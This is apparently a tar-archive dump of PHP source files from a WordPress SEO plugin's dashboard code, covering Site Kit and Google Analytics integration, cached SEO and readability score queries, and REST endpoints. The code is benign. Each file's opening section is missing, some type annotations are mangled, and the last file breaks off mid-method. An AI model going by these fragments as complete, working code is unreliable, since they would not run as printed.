public function get_data( Parameters $parameters ): Data_Container {
if ( ! $this->site_kit_configuration->is_onboarded() || ! $this->site_kit_configuration->is_ga_connected() ) {
throw new Data_Source_Not_Available_Exception( 'Comparison organic sessions repository' );
}
return $this->site_kit_analytics_4_adapter->get_comparison_data( $parameters );
}
}
dashboard/infrastructure/integrations/site-kit.php 0000644 00000026047 15207625752 0016547 0 ustar 00 $search_console_module
*/
private $search_console_module = [
'can_view' => null,
];
/**
* The analytics module data.
*
* @var array $ga_module
*/
private $ga_module = [
'can_view' => null,
'connected' => null,
];
/**
* The constructor.
*
* @param Site_Kit_Consent_Repository_Interface $site_kit_consent_repository The Site Kit consent repository.
* @param Configuration_Repository $configuration_repository The Site Kit permanently dismissed
* configuration repository.
* @param Site_Kit_Is_Connected_Call $site_kit_is_connected_call The api call to check if the site is
* connected.
* @param Site_Kit_Conditional $site_kit_conditional The Site Kit conditional.
*/
public function __construct(
Site_Kit_Consent_Repository_Interface $site_kit_consent_repository,
Configuration_Repository $configuration_repository,
Site_Kit_Is_Connected_Call $site_kit_is_connected_call,
Site_Kit_Conditional $site_kit_conditional
) {
$this->site_kit_consent_repository = $site_kit_consent_repository;
$this->permanently_dismissed_site_kit_configuration_repository = $configuration_repository;
$this->site_kit_is_connected_call = $site_kit_is_connected_call;
$this->site_kit_conditional = $site_kit_conditional;
}
/**
* If the Site Kit plugin is active.
*
* @return bool If the integration is activated.
*/
public function is_enabled(): bool {
return $this->site_kit_conditional->is_met();
}
/**
* If the Google site kit setup has been completed.
*
* @return bool If the Google site kit setup has been completed.
*/
private function is_setup_completed(): bool {
return $this->site_kit_is_connected_call->is_setup_completed();
}
/**
* If consent has been granted.
*
* @return bool If consent has been granted.
*/
private function is_connected(): bool {
return $this->site_kit_consent_repository->is_consent_granted();
}
/**
* If Google Analytics is connected.
*
* @return bool If Google Analytics is connected.
*/
public function is_ga_connected(): bool {
if ( $this->ga_module['connected'] !== null ) {
return $this->ga_module['connected'];
}
return $this->site_kit_is_connected_call->is_ga_connected();
}
/**
* If the Site Kit plugin is installed. This is needed since we cannot check with `is_plugin_active` in rest
* requests. `Plugin.php` is only loaded on admin pages.
*
* @return bool If the Site Kit plugin is installed.
*/
private function is_site_kit_installed(): bool {
return \class_exists( 'Google\Site_Kit\Plugin' );
}
/**
* If the entire onboarding has been completed.
*
* @return bool If the entire onboarding has been completed.
*/
public function is_onboarded(): bool {
// @TODO: Consider replacing the `is_setup_completed()` check with a `can_read_data( $module )` check (and possibly rename the method to something more genric eg. is_ready() ).
return ( $this->is_site_kit_installed() && $this->is_setup_completed() && $this->is_connected() );
}
/**
* Checks if current user can view dashboard data for a module
*
* @param array $module The module.
*
* @return bool If the user can read the data.
*/
private function can_read_data( array $module ): bool {
return ( $module['can_view'] ?? false );
}
/**
* Return this object represented by a key value array.
*
* @return array Returns the name and if the feature is enabled.
*/
public function to_array(): array {
if ( $this->is_enabled() ) {
$this->parse_site_kit_data();
}
return [
'installUrl' => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_install_url() ),
'activateUrl' => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_activate_url() ),
'setupUrl' => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_setup_url() ),
'updateUrl' => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_update_url() ),
'dashboardUrl' => \self_admin_url( 'admin.php?page=googlesitekit-dashboard' ),
'isAnalyticsConnected' => $this->is_ga_connected(),
'isFeatureEnabled' => true,
'isSetupWidgetDismissed' => $this->permanently_dismissed_site_kit_configuration_repository->is_site_kit_configuration_dismissed(),
'capabilities' => [
'installPlugins' => \current_user_can( 'install_plugins' ),
'viewSearchConsoleData' => $this->can_read_data( $this->search_console_module ),
'viewAnalyticsData' => $this->can_read_data( $this->ga_module ),
],
'connectionStepsStatuses' => [
'isInstalled' => \file_exists( \WP_PLUGIN_DIR . '/' . self::SITE_KIT_FILE ),
'isActive' => $this->is_enabled(),
'isSetupCompleted' => $this->can_read_data( $this->search_console_module ) || $this->can_read_data( $this->ga_module ),
'isConsentGranted' => $this->is_connected(),
],
'isVersionSupported' => \defined( 'GOOGLESITEKIT_VERSION' ) ? \version_compare( \GOOGLESITEKIT_VERSION, '1.148.0', '>=' ) : false,
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
'isRedirectedFromSiteKit' => isset( $_GET['redirected_from_site_kit'] ),
];
}
/**
* Return this object represented by a key value array. This is not used yet.
*
* @codeCoverageIgnore
*
* @return array Returns the name and if the feature is enabled.
*/
public function to_legacy_array(): array {
return $this->to_array();
}
/**
* Parses the Site Kit configuration data.
*
* @return void
*/
public function parse_site_kit_data(): void {
$paths = $this->get_preload_paths();
$preloaded = $this->get_preloaded_data( $paths );
if ( empty( $preloaded ) ) {
return;
}
$modules_data = ! empty( $preloaded[ $paths['modules'] ]['body'] ) ? $preloaded[ $paths['modules'] ]['body'] : [];
$modules_permissions = ! empty( $preloaded[ $paths['permissions'] ]['body'] ) ? $preloaded[ $paths['permissions'] ]['body'] : [];
$can_view_dashboard = ( $modules_permissions['googlesitekit_view_authenticated_dashboard'] ?? false );
foreach ( $modules_data as $module ) {
$slug = $module['slug'];
// We have to also check if the module is recoverable, because if we rely on the module being shared, we have to make also sure the module owner is still connected.
$is_recoverable = ( $module['recoverable'] ?? null );
if ( $slug === 'analytics-4' ) {
$can_read_shared_module_data = ( $modules_permissions['googlesitekit_read_shared_module_data::["analytics-4"]'] ?? false );
$this->ga_module['can_view'] = $can_view_dashboard || ( $can_read_shared_module_data && ! $is_recoverable );
$this->ga_module['connected'] = ( $module['connected'] ?? false );
}
if ( $slug === 'search-console' ) {
$can_read_shared_module_data = ( $modules_permissions['googlesitekit_read_shared_module_data::["search-console"]'] ?? false );
$this->search_console_module['can_view'] = $can_view_dashboard || ( $can_read_shared_module_data && ! $is_recoverable );
}
}
}
/**
* Holds the parsed preload paths for preloading some Site Kit API data.
*
* @return string[]
*/
public function get_preload_paths(): array {
$rest_root = ( \class_exists( REST_Routes::class ) ) ? REST_Routes::REST_ROOT : '';
return [
'permissions' => '/' . $rest_root . '/core/user/data/permissions',
'modules' => '/' . $rest_root . '/core/modules/data/list',
];
}
/**
* Runs the given paths through the `rest_preload_api_request` method.
*
* @param string[] $paths The paths to add to `rest_preload_api_request`.
*
* @return array The array with all the now filled in preloaded data.
*/
public function get_preloaded_data( array $paths ): array {
$preload_paths = \apply_filters( 'googlesitekit_apifetch_preload_paths', [] );
$actual_paths = \array_intersect( $paths, $preload_paths );
return \array_reduce(
\array_unique( $actual_paths ),
'rest_preload_api_request',
[],
);
}
/**
* Creates a valid activation URL for the Site Kit plugin.
*
* @return string
*/
public function get_activate_url(): string {
return \html_entity_decode(
\wp_nonce_url(
\self_admin_url( 'plugins.php?action=activate&plugin=' . self::SITE_KIT_FILE ),
'activate-plugin_' . self::SITE_KIT_FILE,
),
);
}
/**
* Creates a valid install URL for the Site Kit plugin.
*
* @return string
*/
public function get_install_url(): string {
return \html_entity_decode(
\wp_nonce_url(
\self_admin_url( 'update.php?action=install-plugin&plugin=google-site-kit' ),
'install-plugin_google-site-kit',
),
);
}
/**
* Creates a valid update URL for the Site Kit plugin.
*
* @return string
*/
public function get_update_url(): string {
return \html_entity_decode(
\wp_nonce_url(
\self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . self::SITE_KIT_FILE ),
'upgrade-plugin_' . self::SITE_KIT_FILE,
),
);
}
/**
* Creates a valid setup URL for the Site Kit plugin.
*
* @return string
*/
public function get_setup_url(): string {
return \self_admin_url( 'admin.php?page=googlesitekit-splash' );
}
}
dashboard/infrastructure/tracking/setup-steps-tracking-repository-interface.php 0000644 00000002044 15207625752 0024350 0 ustar 00 options_helper = $options_helper;
}
/**
* Sets an option inside the Site Kit usage options array.
*
* @param string $element_name The name of the option to set.
* @param string $element_value The value of the option to set.
*
* @return bool False when the update failed, true when the update succeeded.
*/
public function set_setup_steps_tracking_element( string $element_name, string $element_value ): bool {
return $this->options_helper->set( 'site_kit_tracking_' . $element_name, $element_value );
}
/**
* Gets an option inside the Site Kit usage options array.
*
* @param string $element_name The name of the option to get.
*
* @return string The value if present, empty string if not.
*/
public function get_setup_steps_tracking_element( string $element_name ): string {
return $this->options_helper->get( 'site_kit_tracking_' . $element_name, '' );
}
}
dashboard/infrastructure/score-results/seo-score-results/cached-seo-score-results-collector.php 0000644 00000005512 15207625752 0027301 0 ustar 00 seo_score_results_collector = $seo_score_results_collector;
}
/**
* Retrieves the SEO score results for a content type.
* Based on caching returns either the result or gets it from the collector.
*
* @param SEO_Score_Groups_Interface[] $score_groups All SEO score groups.
* @param Content_Type $content_type The content type.
* @param int|null $term_id The ID of the term we're filtering for.
* @param bool|null $is_troubleshooting Whether we're in troubleshooting mode.
*
* @return array The SEO score results for a content type.
*
* @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
*/
public function get_score_results(
array $score_groups,
Content_Type $content_type,
?int $term_id,
?bool $is_troubleshooting
) {
$content_type_name = $content_type->get_name();
$transient_name = self::SEO_SCORES_TRANSIENT . '_' . $content_type_name . ( ( $term_id === null ) ? '' : '_' . $term_id );
$results = [];
$transient = \get_transient( $transient_name );
if ( $is_troubleshooting !== true && $transient !== false ) {
$results['scores'] = \json_decode( $transient, false );
$results['cache_used'] = true;
$results['query_time'] = 0;
return $results;
}
$results = $this->seo_score_results_collector->get_score_results( $score_groups, $content_type, $term_id, $is_troubleshooting );
$results['cache_used'] = false;
if ( $is_troubleshooting !== true ) {
\set_transient( $transient_name, WPSEO_Utils::format_json_encode( $results['scores'] ), \MINUTE_IN_SECONDS );
}
return $results;
}
}
dashboard/infrastructure/score-results/seo-score-results/seo-score-results-collector.php 0000644 00000012672 15207625752 0026101 0 ustar 00 The SEO score results for a content type.
*
* @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
*/
public function get_score_results( array $seo_score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ): array {
global $wpdb;
$results = [];
$content_type_name = $content_type->get_name();
$select = $this->build_select( $seo_score_groups, $is_troubleshooting );
$replacements = \array_merge(
\array_values( $select['replacements'] ),
[
Model::get_table_name( 'Indexable' ),
$content_type_name,
],
);
if ( $term_id === null ) {
//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
$query = $wpdb->prepare(
"
SELECT {$select['fields']}
FROM %i AS I
WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
AND I.object_type = 'post'
AND I.object_sub_type = %s
AND ( I.is_robots_noindex IS NULL OR I.is_robots_noindex <> 1 )",
$replacements,
);
//phpcs:enable
}
else {
$replacements[] = $wpdb->term_relationships;
$replacements[] = $term_id;
//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
$query = $wpdb->prepare(
"
SELECT {$select['fields']}
FROM %i AS I
WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
AND I.object_type IN ('post')
AND I.object_sub_type = %s
AND ( I.is_robots_noindex IS NULL OR I.is_robots_noindex <> 1 )
AND I.object_id IN (
SELECT object_id
FROM %i
WHERE term_taxonomy_id = %d
)",
$replacements,
);
//phpcs:enable
}
$start_time = \microtime( true );
//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- $query is prepared above.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
$current_scores = $wpdb->get_row( $query );
//phpcs:enable
if ( $current_scores === null ) {
throw new Score_Results_Not_Found_Exception();
}
$end_time = \microtime( true );
$results['scores'] = $current_scores;
$results['query_time'] = ( $end_time - $start_time );
return $results;
}
/**
* Builds the select statement for the SEO scores query.
*
* @param SEO_Score_Groups_Interface[] $seo_score_groups All SEO score groups.
* @param bool|null $is_troubleshooting Whether we're in troubleshooting mode.
*
* @return array The select statement for the SEO scores query.
*/
private function build_select( array $seo_score_groups, ?bool $is_troubleshooting ): array {
$select_fields = [];
$select_replacements = [];
// When we don't troubleshoot, we're interested in the amount of posts in a group, when we troubleshoot we want to gather the actual IDs.
$select_operation = ( $is_troubleshooting === true ) ? 'GROUP_CONCAT' : 'COUNT';
$selected_info = ( $is_troubleshooting === true ) ? 'I.object_id' : '1';
foreach ( $seo_score_groups as $seo_score_group ) {
$min = $seo_score_group->get_min_score();
$max = $seo_score_group->get_max_score();
$name = $seo_score_group->get_name();
if ( $min === null || $max === null ) {
$select_fields[] = "{$select_operation}(CASE WHEN I.primary_focus_keyword_score = 0 OR I.primary_focus_keyword_score IS NULL THEN {$selected_info} END) AS %i";
$select_replacements[] = $name;
}
else {
$select_fields[] = "{$select_operation}(CASE WHEN I.primary_focus_keyword_score >= %d AND I.primary_focus_keyword_score <= %d THEN {$selected_info} END) AS %i";
$select_replacements[] = $min;
$select_replacements[] = $max;
$select_replacements[] = $name;
}
}
$select_fields = \implode( ', ', $select_fields );
return [
'fields' => $select_fields,
'replacements' => $select_replacements,
];
}
}
dashboard/infrastructure/score-results/score-results-collector-interface.php 0000644 00000002027 15207625752 0023646 0 ustar 00 The score results for a content type.
*/
public function get_score_results( array $score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting );
}
score-results/readability-score-results/cached-readability-score-results-collector.php 0000644 00000006103 15207625753 0032426 0 ustar 00 dashboard/infrastructure readability_score_results_collector = $readability_score_results_collector;
}
/**
* Retrieves readability score results for a content type.
* Based on caching returns either the result or gets it from the collector.
*
* @param Readability_Score_Groups_Interface[] $score_groups All readability score groups.
* @param Content_Type $content_type The content type.
* @param int|null $term_id The ID of the term we're filtering for.
* @param bool|null $is_troubleshooting Whether we're in troubleshooting mode.
*
* @return array The readability score results for a content type.
*
* @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
*/
public function get_score_results(
array $score_groups,
Content_Type $content_type,
?int $term_id,
?bool $is_troubleshooting
) {
$content_type_name = $content_type->get_name();
$transient_name = self::READABILITY_SCORES_TRANSIENT . '_' . $content_type_name . ( ( $term_id === null ) ? '' : '_' . $term_id );
$results = [];
$transient = \get_transient( $transient_name );
if ( $is_troubleshooting !== true && $transient !== false ) {
$results['scores'] = \json_decode( $transient, false );
$results['cache_used'] = true;
$results['query_time'] = 0;
return $results;
}
$results = $this->readability_score_results_collector->get_score_results( $score_groups, $content_type, $term_id, $is_troubleshooting );
$results['cache_used'] = false;
if ( $is_troubleshooting !== true ) {
\set_transient( $transient_name, WPSEO_Utils::format_json_encode( $results['scores'] ), \MINUTE_IN_SECONDS );
}
return $results;
}
}
infrastructure/score-results/readability-score-results/readability-score-results-collector.php 0000644 00000013211 15207625754 0031220 0 ustar 00 dashboard The readability score results for a content type.
*
* @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
*/
public function get_score_results( array $readability_score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ) {
global $wpdb;
$results = [];
$content_type_name = $content_type->get_name();
$select = $this->build_select( $readability_score_groups, $is_troubleshooting );
$replacements = \array_merge(
\array_values( $select['replacements'] ),
[
Model::get_table_name( 'Indexable' ),
$content_type_name,
],
);
if ( $term_id === null ) {
//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
$query = $wpdb->prepare(
"
SELECT {$select['fields']}
FROM %i AS I
WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
AND I.object_type = 'post'
AND I.object_sub_type = %s",
$replacements,
);
//phpcs:enable
}
else {
$replacements[] = $wpdb->term_relationships;
$replacements[] = $term_id;
//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
$query = $wpdb->prepare(
"
SELECT {$select['fields']}
FROM %i AS I
WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
AND I.object_type = 'post'
AND I.object_sub_type = %s
AND I.object_id IN (
SELECT object_id
FROM %i
WHERE term_taxonomy_id = %d
)",
$replacements,
);
//phpcs:enable
}
$start_time = \microtime( true );
//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- $query is prepared above.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
$current_scores = $wpdb->get_row( $query );
//phpcs:enable
if ( $current_scores === null ) {
throw new Score_Results_Not_Found_Exception();
}
$end_time = \microtime( true );
$results['scores'] = $current_scores;
$results['query_time'] = ( $end_time - $start_time );
return $results;
}
/**
* Builds the select statement for the readability scores query.
*
* @param Readability_Score_Groups_Interface[] $readability_score_groups All readability score groups.
* @param bool|null $is_troubleshooting Whether we're in troubleshooting mode.
*
* @return array The select statement for the readability scores query.
*/
private function build_select( array $readability_score_groups, ?bool $is_troubleshooting ): array {
$select_fields = [];
$select_replacements = [];
// When we don't troubleshoot, we're interested in the amount of posts in a group, when we troubleshoot we want to gather the actual IDs.
$select_operation = ( $is_troubleshooting === true ) ? 'GROUP_CONCAT' : 'COUNT';
$selected_info = ( $is_troubleshooting === true ) ? 'I.object_id' : '1';
foreach ( $readability_score_groups as $readability_score_group ) {
$min = $readability_score_group->get_min_score();
$max = $readability_score_group->get_max_score();
$name = $readability_score_group->get_name();
if ( $min === null && $max === null ) {
$select_fields[] = "{$select_operation}(CASE WHEN I.readability_score = 0 AND I.estimated_reading_time_minutes IS NULL THEN {$selected_info} END) AS %i";
$select_replacements[] = $name;
}
else {
$needs_ert = ( $min === 1 ) ? ' OR (I.readability_score = 0 AND I.estimated_reading_time_minutes IS NOT NULL)' : '';
$select_fields[] = "{$select_operation}(CASE WHEN ( I.readability_score >= %d AND I.readability_score <= %d ){$needs_ert} THEN {$selected_info} END) AS %i";
$select_replacements[] = $min;
$select_replacements[] = $max;
$select_replacements[] = $name;
}
}
$select_fields = \implode( ', ', $select_fields );
return [
'fields' => $select_fields,
'replacements' => $select_replacements,
];
}
}
dashboard/infrastructure/endpoints/seo-scores-endpoint.php 0000644 00000002163 15207625754 0020206 0 ustar 00 get_namespace() . $this->get_route() );
}
}
dashboard/infrastructure/endpoints/site-kit-configuration-dismissal-endpoint.php 0000644 00000002233 15207625754 0024506 0 ustar 00 get_namespace() . $this->get_route() );
}
}
dashboard/infrastructure/endpoints/setup-steps-tracking-endpoint.php 0000644 00000002131 15207625755 0022214 0 ustar 00 get_namespace() . $this->get_route() );
}
}
dashboard/infrastructure/endpoints/time-based-seo-metrics-endpoint.php 0000644 00000002067 15207625755 0022372 0 ustar 00 get_namespace() . $this->get_route() );
}
}
dashboard/infrastructure/endpoints/readability-scores-endpoint.php 0000644 00000002233 15207625755 0021710 0 ustar 00 get_namespace() . $this->get_route() );
}
}
dashboard/infrastructure/endpoints/site-kit-consent-management-endpoint.php 0000644 00000002213 15207625755 0023433 0 ustar 00 get_namespace() . $this->get_route() );
}
}
dashboard/infrastructure/nonces/nonce-repository.php 0000644 00000000610 15207625756 0017104 0 ustar 00 indexable_repository = $indexable_repository;
$this->seo_score_groups_repository = $seo_score_groups_repository;
}
/**
* Gets full data for top pages.
*
* @param Data_Container $top_pages The top pages.
*
* @return Data_Container Data about SEO scores of top pages.
*/
public function get_data( Data_Container $top_pages ): Data_Container {
$top_page_data_container = new Data_Container();
foreach ( $top_pages->get_data() as $top_page ) {
$url = $top_page->get_subject();
$indexable = $this->get_top_page_indexable( $url );
if ( $indexable instanceof Indexable ) {
$seo_score_group = $this->seo_score_groups_repository->get_seo_score_group( $indexable->primary_focus_keyword_score );
$edit_link = $this->get_top_page_edit_link( $indexable );
$top_page_data_container->add_data( new Top_Page_Data( $top_page, $seo_score_group, $edit_link ) );
continue;
}
$seo_score_group = new No_SEO_Score_Group();
$top_page_data_container->add_data( new Top_Page_Data( $top_page, $seo_score_group ) );
}
return $top_page_data_container;
}
/**
* Gets indexable for a top page URL.
*
* @param string $url The URL of the top page.
*
* @return bool|Indexable The indexable of the top page URL or false if there is none.
*/
protected function get_top_page_indexable( string $url ) {
// First check if the URL is the static homepage.
if ( \trailingslashit( $url ) === \trailingslashit( \get_home_url() ) && \get_option( 'show_on_front' ) === 'page' ) {
return $this->indexable_repository->find_by_id_and_type( \get_option( 'page_on_front' ), 'post', false );
}
return $this->indexable_repository->find_by_permalink( $url );
}
/**
* Gets edit links from a top page's indexable.
*
* @param Indexable $indexable The top page's indexable.
*
* @return string|null The edit link for the top page.
*/
protected function get_top_page_edit_link( Indexable $indexable ): ?string {
if ( $indexable->object_type === 'post' && \current_user_can( 'edit_post', $indexable->object_id ) ) {
return \get_edit_post_link( $indexable->object_id, '&' );
}
if ( $indexable->object_type === 'term' && \current_user_can( 'edit_term', $indexable->object_id ) ) {
return \get_edit_term_link( $indexable->object_id );
}
return null;
}
}
dashboard/infrastructure/configuration/site-kit-consent-repository.php 0000644 00000002460 15207625756 0022571 0 ustar 00 options_helper = $options_helper;
}
/**
* Sets the Site Kit consent value.
*
* @param bool $consent The consent status.
*
* @return bool False when the update failed, true when the update succeeded.
*/
public function set_site_kit_consent( bool $consent ): bool {
return $this->options_helper->set( 'site_kit_connected', $consent );
}
/**
* Checks if consent has ben given for Site Kit.
* *
*
* @return bool True when consent has been given, false when it is not.
*/
public function is_consent_granted(): bool {
return $this->options_helper->get( 'site_kit_connected', false );
}
}
dashboard/infrastructure/configuration/permanently-dismissed-site-kit-configuration-repository.php 0000644 00000003012 15207625756 0030277 0 ustar 00 options_helper = $options_helper;
}
/**
* Sets the Site Kit dismissal status.
*
* @param bool $is_dismissed The dismissal status.
*
* @return bool False when the update failed, true when the update succeeded.
*/
public function set_site_kit_configuration_dismissal( bool $is_dismissed ): bool {
return $this->options_helper->set( 'site_kit_configuration_permanently_dismissed', $is_dismissed );
}
/**
* Checks if the Site Kit configuration is dismissed permanently.
* *
*
* @return bool True when the configuration is dismissed, false when it is not.
*/
public function is_site_kit_configuration_dismissed(): bool {
return $this->options_helper->get( 'site_kit_configuration_permanently_dismissed', false );
}
}
dashboard/infrastructure/configuration/site-kit-consent-repository-interface.php 0000644 00000001404 15207625756 0024524 0 ustar 00 'publish',
'post_type' => $content_type->get_name(),
$score_group->get_filter_key() => $score_group->get_filter_value(),
];
if ( $taxonomy === null || $term_id === null ) {
return \add_query_arg( $args, $posts_page );
}
$taxonomy_object = \get_taxonomy( $taxonomy->get_name() );
$query_var = $taxonomy_object->query_var;
if ( ! $query_var ) {
return null;
}
$term = \get_term( $term_id );
$args[ $query_var ] = $term->slug;
return \add_query_arg( $args, $posts_page );
}
}
dashboard/infrastructure/content-types/content-types-collector.php 0000644 00000002462 15207625756 0021723 0 ustar 00 post_type_helper = $post_type_helper;
}
/**
* Returns the content types in a list.
*
* @return Content_Types_List The content types in a list.
*/
public function get_content_types(): Content_Types_List {
$content_types_list = new Content_Types_List();
$post_types = $this->post_type_helper->get_indexable_post_type_objects();
foreach ( $post_types as $post_type_object ) {
if ( $post_type_object->show_ui === false ) {
continue;
}
$content_type = new Content_Type( $post_type_object->name, $post_type_object->label );
$content_types_list->add( $content_type );
}
return $content_types_list;
}
}
dashboard/infrastructure/analytics-4/analytics-4-parameters.php 0000644 00000005576 15207625756 0020741 0 ustar 00 > $dimensions
*/
private $dimensions = [];
/**
* The dimensions filters.
*
* @var array> $dimension_filters
*/
private $dimension_filters = [];
/**
* The metrics.
*
* @var array> $metrics
*/
private $metrics = [];
/**
* The order by.
*
* @var array>> $order_by
*/
private $order_by = [];
/**
* Sets the dimensions.
*
* @link https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/Dimension
*
* @param array $dimensions The dimensions.
*
* @return void
*/
public function set_dimensions( array $dimensions ): void {
foreach ( $dimensions as $dimension ) {
$this->dimensions[] = [ 'name' => $dimension ];
}
}
/**
* Getter for the dimensions.
*
* @return array>
*/
public function get_dimensions(): array {
return $this->dimensions;
}
/**
* Sets the dimension filters.
*
* @param array> $dimension_filters The dimension filters.
*
* @return void
*/
public function set_dimension_filters( array $dimension_filters ): void {
$this->dimension_filters = $dimension_filters;
}
/**
* Getter for the dimension filters.
*
* @return array>
*/
public function get_dimension_filters(): array {
return $this->dimension_filters;
}
/**
* Sets the metrics.
*
* @link https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/Metric
*
* @param array $metrics The metrics.
*
* @return void
*/
public function set_metrics( array $metrics ): void {
foreach ( $metrics as $metric ) {
$this->metrics[] = [ 'name' => $metric ];
}
}
/**
* Getter for the metrics.
*
* @return array>
*/
public function get_metrics(): array {
return $this->metrics;
}
/**
* Sets the order by.
*
* @link https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/OrderBy
*
* @param string $key The key to order by.
* @param string $name The name to order by.
*
* @return void
*/
public function set_order_by( string $key, string $name ): void {
$order_by = [
[
$key => [
$key . 'Name' => $name,
],
],
];
$this->order_by = $order_by;
}
/**
* Getter for the order by.
*
* @return array>>
*/
public function get_order_by(): array {
return $this->order_by;
}
}
dashboard/infrastructure/analytics-4/site-kit-analytics-4-adapter.php 0000644 00000024710 15207625757 0021735 0 ustar 00 site_kit_search_console_api_call = $site_kit_analytics_4_api_call;
}
/**
* The wrapper method to do a comparison Site Kit API request for Analytics.
*
* @param Analytics_4_Parameters $parameters The parameters.
*
* @return Data_Container The Site Kit API response.
*
* @throws Failed_Request_Exception When the request responds with an error from Site Kit.
* @throws Unexpected_Response_Exception When the request responds with an unexpected format.
* @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters.
*/
public function get_comparison_data( Analytics_4_Parameters $parameters ): Data_Container {
$api_parameters = $this->build_parameters( $parameters );
$response = $this->site_kit_search_console_api_call->do_request( $api_parameters );
$this->validate_response( $response );
return $this->parse_comparison_response( $response->get_data() );
}
/**
* The wrapper method to do a daily Site Kit API request for Analytics.
*
* @param Analytics_4_Parameters $parameters The parameters.
*
* @return Data_Container The Site Kit API response.
*
* @throws Failed_Request_Exception When the request responds with an error from Site Kit.
* @throws Unexpected_Response_Exception When the request responds with an unexpected format.
* @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters.
*/
public function get_daily_data( Analytics_4_Parameters $parameters ): Data_Container {
$api_parameters = $this->build_parameters( $parameters );
$response = $this->site_kit_search_console_api_call->do_request( $api_parameters );
$this->validate_response( $response );
return $this->parse_daily_response( $response->get_data() );
}
/**
* Builds the parameters to be used in the Site Kit API request.
*
* @param Analytics_4_Parameters $parameters The parameters.
*
* @return array> The Site Kit API parameters.
*/
private function build_parameters( Analytics_4_Parameters $parameters ): array {
$api_parameters = [
'slug' => 'analytics-4',
'datapoint' => 'report',
'startDate' => $parameters->get_start_date(),
'endDate' => $parameters->get_end_date(),
];
if ( ! empty( $parameters->get_dimension_filters() ) ) {
$api_parameters['dimensionFilters'] = $parameters->get_dimension_filters();
}
if ( ! empty( $parameters->get_dimensions() ) ) {
$api_parameters['dimensions'] = $parameters->get_dimensions();
}
if ( ! empty( $parameters->get_metrics() ) ) {
$api_parameters['metrics'] = $parameters->get_metrics();
}
if ( ! empty( $parameters->get_order_by() ) ) {
$api_parameters['orderby'] = $parameters->get_order_by();
}
if ( ! empty( $parameters->get_compare_start_date() && ! empty( $parameters->get_compare_end_date() ) ) ) {
$api_parameters['compareStartDate'] = $parameters->get_compare_start_date();
$api_parameters['compareEndDate'] = $parameters->get_compare_end_date();
}
return $api_parameters;
}
/**
* Parses a response for a Site Kit API request that requests daily data for Analytics 4.
*
* @param RunReportResponse $response The response to parse.
*
* @return Data_Container The parsed response.
*
* @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters.
*/
private function parse_daily_response( RunReportResponse $response ): Data_Container {
if ( ! $this->is_daily_request( $response ) ) {
throw new Invalid_Request_Exception( 'Unexpected parameters for the request' );
}
$data_container = new Data_Container();
foreach ( $response->getRows() as $daily_traffic ) {
$traffic_data = new Traffic_Data();
foreach ( $response->getMetricHeaders() as $key => $metric ) {
// As per https://developers.google.com/analytics/devguides/reporting/data/v1/basics#read_the_response,
// the order of the columns is consistent in the request, header, and rows.
// So we can use the key of the header to get the correct metric value from the row.
$metric_value = $daily_traffic->getMetricValues()[ $key ]->getValue();
if ( $metric->getName() === 'sessions' ) {
$traffic_data->set_sessions( (int) $metric_value );
}
elseif ( $metric->getName() === 'totalUsers' ) {
$traffic_data->set_total_users( (int) $metric_value );
}
}
// Since we're here, we know that the first dimension is date, so we know that dimensionValues[0]->value is a date.
$data_container->add_data( new Daily_Traffic_Data( $daily_traffic->getDimensionValues()[0]->getValue(), $traffic_data ) );
}
return $data_container;
}
/**
* Parses a response for a Site Kit API request for Analytics 4 that compares data ranges.
*
* @param RunReportResponse $response The response to parse.
*
* @return Data_Container The parsed response.
*
* @throws Invalid_Request_Exception When the request is invalid due to unexpected parameters.
*/
private function parse_comparison_response( RunReportResponse $response ): Data_Container {
if ( ! $this->is_comparison_request( $response ) ) {
